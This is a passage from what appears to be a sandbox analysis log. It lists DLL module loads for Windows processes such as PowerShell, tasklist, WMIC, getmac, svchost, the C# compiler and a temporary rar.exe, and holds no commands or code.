Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\getmac.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tree.com	Section loaded: ulib.dll
Source: C:\Windows\System32\tree.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
